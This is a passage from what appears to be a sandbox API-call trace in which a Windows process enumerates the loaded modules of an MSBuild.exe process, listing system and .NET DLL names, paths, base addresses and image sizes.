GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0057.560] GetLastError () returned 0x2 [0057.560] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0057.561] GetModuleInformation (in: hProcess=0x514, hModule=0x6a310000, lpmodinfo=0x27eb0a8, cb=0xc | out: lpmodinfo=0x27eb0a8*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0057.562] GetLastError () returned 0x2 [0057.562] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wminet_utils.dll") returned 0x10 [0057.563] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0057.564] GetModuleInformation (in: hProcess=0x514, hModule=0x745b0000, lpmodinfo=0x27ec1f0, cb=0xc | out: lpmodinfo=0x27ec1f0*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0057.565] GetLastError () returned 0x2 [0057.572] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0057.573] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0057.574] GetModuleInformation (in: hProcess=0x514, hModule=0x73a20000, lpmodinfo=0x27ed2ec, cb=0xc | out: lpmodinfo=0x27ed2ec*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0057.575] GetLastError () returned 0x2 [0057.575] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0057.576] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0057.577] GetModuleInformation (in: hProcess=0x514, hModule=0x72480000, lpmodinfo=0x27ee4cc, cb=0xc | out: lpmodinfo=0x27ee4cc*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0057.578] GetLastError () returned 0x2 [0057.578] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 [0057.579] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0057.580] GetModuleInformation (in: hProcess=0x514, hModule=0x739c0000, lpmodinfo=0x27ef670, cb=0xc | out: lpmodinfo=0x27ef670*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0057.581] GetLastError () returned 0x2 [0057.581] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0057.582] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0057.583] GetModuleInformation (in: hProcess=0x514, hModule=0x74720000, lpmodinfo=0x27f0774, cb=0xc | out: lpmodinfo=0x27f0774*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0057.584] GetLastError () returned 0x2 [0057.584] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0057.585] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0057.586] GetModuleInformation (in: hProcess=0x514, hModule=0x74710000, lpmodinfo=0x27f1870, cb=0xc | out: lpmodinfo=0x27f1870*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0057.587] GetLastError () returned 0x2 [0057.587] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0057.588] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0057.589] GetModuleInformation (in: hProcess=0x514, hModule=0x73980000, lpmodinfo=0x27f296c, cb=0xc | out: lpmodinfo=0x27f296c*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0057.590] GetLastError () returned 0x2 [0057.590] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0057.591] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0057.592] GetModuleInformation (in: hProcess=0x514, hModule=0x73970000, lpmodinfo=0x27f3a68, cb=0xc | out: lpmodinfo=0x27f3a68*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0057.593] GetLastError () returned 0x2 [0057.593] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0057.594] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0057.595] GetModuleInformation (in: hProcess=0x514, hModule=0x73960000, lpmodinfo=0x27f4b6c, cb=0xc | out: lpmodinfo=0x27f4b6c*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0057.596] GetLastError () returned 0x2 [0057.596] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0057.597] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0057.598] GetModuleInformation (in: hProcess=0x514, hModule=0x736e0000, lpmodinfo=0x27f5c68, cb=0xc | out: lpmodinfo=0x27f5c68*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0057.599] GetLastError () returned 0x2 [0057.599] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0057.600] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0057.601] GetModuleInformation (in: hProcess=0x514, hModule=0x73910000, lpmodinfo=0x27f6d64, cb=0xc | out: lpmodinfo=0x27f6d64*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0057.602] GetLastError () returned 0x2 [0057.602] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0057.603] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0057.604] GetModuleInformation (in: hProcess=0x514, hModule=0x736c0000, lpmodinfo=0x27f7e58, cb=0xc | out: lpmodinfo=0x27f7e58*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0057.605] GetLastError () returned 0x2 [0057.605] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0057.606] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0057.607] GetModuleInformation (in: hProcess=0x514, hModule=0x736b0000, lpmodinfo=0x27f8f5c, cb=0xc | out: lpmodinfo=0x27f8f5c*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0057.609] GetLastError () returned 0x2 [0057.609] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0057.610] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0057.611] GetModuleInformation (in: hProcess=0x514, hModule=0x736a0000, lpmodinfo=0x27fa268, cb=0xc | out: lpmodinfo=0x27fa268*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0057.612] GetLastError () returned 0x2 [0057.612] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0057.613] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0057.614] GetModuleInformation (in: hProcess=0x514, hModule=0x73680000, lpmodinfo=0x27fb36c, cb=0xc | out: lpmodinfo=0x27fb36c*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0057.615] GetLastError () returned 0x2 [0057.615] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0057.616] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0057.618] GetModuleInformation (in: hProcess=0x514, hModule=0x73670000, lpmodinfo=0x27fc470, cb=0xc | out: lpmodinfo=0x27fc470*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0057.619] GetLastError () returned 0x2 [0057.619] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0057.620] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0057.621] GetModuleInformation (in: hProcess=0x514, hModule=0x74d00000, lpmodinfo=0x27fd56c, cb=0xc | out: lpmodinfo=0x27fd56c*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0057.622] GetLastError () returned 0x2 [0057.622] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0057.623] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0057.624] GetModuleInformation (in: hProcess=0x514, hModule=0x73620000, lpmodinfo=0x27fe670, cb=0xc | out: lpmodinfo=0x27fe670*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0057.625] GetLastError () returned 0x2 [0057.625] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0057.627] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0057.628] GetModuleInformation (in: hProcess=0x514, hModule=0x73610000, lpmodinfo=0x27ff76c, cb=0xc | out: lpmodinfo=0x27ff76c*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0057.629] GetLastError () returned 0x2 [0057.629] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0057.630] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0057.631] GetModuleInformation (in: hProcess=0x514, hModule=0x735d0000, lpmodinfo=0x2800870, cb=0xc | out: lpmodinfo=0x2800870*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0057.632] GetLastError () returned 0x2 [0057.632] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0057.633] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0057.635] GetModuleInformation (in: hProcess=0x514, hModule=0x735c0000, lpmodinfo=0x2801974, cb=0xc | out: lpmodinfo=0x2801974*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0057.636] GetLastError () returned 0x2 [0057.636] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0057.637] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0057.638] GetModuleInformation (in: hProcess=0x514, hModule=0x75140000, lpmodinfo=0x2802a78, cb=0xc | out: lpmodinfo=0x2802a78*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0057.639] GetLastError () returned 0x2 [0057.639] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0057.640] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0057.646] EnumProcessModules (in: hProcess=0x514, lphModule=0x2683730, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x2683730, lpcbNeeded=0x26e998) returned 1 [0057.647] GetLastError () returned 0x2 [0057.647] EnumProcessModules (in: hProcess=0x514, lphModule=0x268383c, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x268383c, lpcbNeeded=0x26e998) returned 1 [0057.648] GetLastError () returned 0x2 [0057.648] GetModuleInformation (in: hProcess=0x514, hModule=0x400000, lpmodinfo=0x2683a7c, cb=0xc | out: lpmodinfo=0x2683a7c*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0057.649] GetLastError () returned 0x2 [0057.649] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0057.649] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0057.649] GetModuleInformation (in: hProcess=0x514, hModule=0x77130000, lpmodinfo=0x2684bcc, cb=0xc | out: lpmodinfo=0x2684bcc*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0057.649] GetLastError () returned 0x2 [0057.649] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0057.649] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0057.649] GetModuleInformation (in: hProcess=0x514, hModule=0x74b20000, lpmodinfo=0x2685cc0, cb=0xc | out: lpmodinfo=0x2685cc0*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0057.650] GetLastError () returned 0x2 [0057.650] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0057.650] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0057.650] GetModuleInformation (in: hProcess=0x514, hModule=0x76c20000, lpmodinfo=0x2686dbc, cb=0xc | out: lpmodinfo=0x2686dbc*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0057.650] GetLastError () returned 0x2 [0057.650] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0057.650] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0057.651] GetModuleInformation (in: hProcess=0x514, hModule=0x75960000, lpmodinfo=0x2687ec0, cb=0xc | out: lpmodinfo=0x2687ec0*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0057.651] GetLastError () returned 0x2 [0057.651] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0057.651] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0057.651] GetModuleInformation (in: hProcess=0x514, hModule=0x74d40000, lpmodinfo=0x2688ffc, cb=0xc | out: lpmodinfo=0x2688ffc*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0057.651] GetLastError () returned 0x2 [0057.651] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0057.652] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0057.652] GetModuleInformation (in: hProcess=0x514, hModule=0x74e10000, lpmodinfo=0x268a100, cb=0xc | out: lpmodinfo=0x268a100*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0057.652] GetLastError () returned 0x2 [0057.652] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0057.652] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0057.652] GetModuleInformation (in: hProcess=0x514, hModule=0x75740000, lpmodinfo=0x268b1fc, cb=0xc | out: lpmodinfo=0x268b1fc*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0057.653] GetLastError () returned 0x2 [0057.653] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0057.653] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0057.653] GetModuleInformation (in: hProcess=0x514, hModule=0x75ee0000, lpmodinfo=0x268c2f8, cb=0xc | out: lpmodinfo=0x268c2f8*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0057.653] GetLastError () returned 0x2 [0057.653] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0057.654] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0057.654] GetModuleInformation (in: hProcess=0x514, hModule=0x74c90000, lpmodinfo=0x268d444, cb=0xc | out: lpmodinfo=0x268d444*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0057.654] GetLastError () returned 0x2 [0057.654] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0057.654] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0057.655] GetModuleInformation (in: hProcess=0x514, hModule=0x74c80000, lpmodinfo=0x268e540, cb=0xc | out: lpmodinfo=0x268e540*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0057.655] GetLastError () returned 0x2 [0057.655] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0057.656] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0057.656] GetModuleInformation (in: hProcess=0x514, hModule=0x74aa0000, lpmodinfo=0x268f644, cb=0xc | out: lpmodinfo=0x268f644*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0057.656] GetLastError () returned 0x2 [0057.656] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0057.656] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0057.657] GetModuleInformation (in: hProcess=0x514, hModule=0x75340000, lpmodinfo=0x269077c, cb=0xc | out: lpmodinfo=0x269077c*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0057.657] GetLastError () returned 0x2 [0057.657] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0057.657] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0057.658] GetModuleInformation (in: hProcess=0x514, hModule=0x75ad0000, lpmodinfo=0x2691878, cb=0xc | out: lpmodinfo=0x2691878*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0057.658] GetLastError () returned 0x2 [0057.658] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0057.658] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0057.659] GetModuleInformation (in: hProcess=0x514, hModule=0x74f40000, lpmodinfo=0x269296c, cb=0xc | out: lpmodinfo=0x269296c*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0057.659] GetLastError () returned 0x2 [0057.659] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0057.659] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0057.660] GetModuleInformation (in: hProcess=0x514, hModule=0x75130000, lpmodinfo=0x2693a68, cb=0xc | out: lpmodinfo=0x2693a68*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0057.660] GetLastError () returned 0x2 [0057.660] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0057.660] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0057.661] GetModuleInformation (in: hProcess=0x514, hModule=0x75090000, lpmodinfo=0x2694b54, cb=0xc | out: lpmodinfo=0x2694b54*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0057.661] GetLastError () returned 0x2 [0057.661] 